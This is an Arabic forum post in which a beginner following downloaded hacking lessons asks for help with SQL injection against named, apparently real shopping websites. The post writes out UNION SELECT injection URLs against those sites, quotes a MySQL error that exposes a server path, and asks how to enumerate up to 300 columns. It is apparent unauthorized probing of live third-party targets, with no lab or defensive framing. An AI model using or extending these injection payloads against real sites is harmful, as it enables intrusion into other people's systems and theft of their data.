استفسار الدرس الرابع.

[newuser]

السلام عليكم.


شباب انا حملت الدروس.


ولاكن وصلت لمشكله .



احد المواقع لقيته مصاب بالـSQL وهذا الرابط

http://www.sharghishop.net/zcat.php?id=1


بعد اضافه ' يعطيك خطا يعني الموقع مصاب.



ولآكن عندما نضع رقم 6 هكذا
http://www.sharghishop.net/zcat.php?id=-1 union select 1,2,3,5,6--


يعطيك رابط صوره. والصوره مش باينه.





يعني الموقع حامي حالو.


______________________




ننتقل لموقع ثاني. وهذا الرابط
http://www.cdbaran.com/zcat.php?id=1


اذا اضفنا ' بيعطيك
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/sidimibare/domains/cdbaran.com/public_html/zcat.php on line 393

Warning: mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource in /home/sidimibare/domains/cdbaran.com/public_html/zcat.php on line 394





يعني مش معقوله بكتب 300 سطر .


مثلا 1,2,3,4,5,6,7,8,9,10,11,12,13 صعبه تكتبها لتوصل لـ300




ماهو الحل.

___________


وهذا موقع اخر كل ما تضيف عمود بيعطيك نفس الرساله وهي

The used SELECT statements have a different number of columns



والرابط:
http://www.sharghishop.net/zcat.php?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,21,22,23,24,25,26,27,28,29--



_________________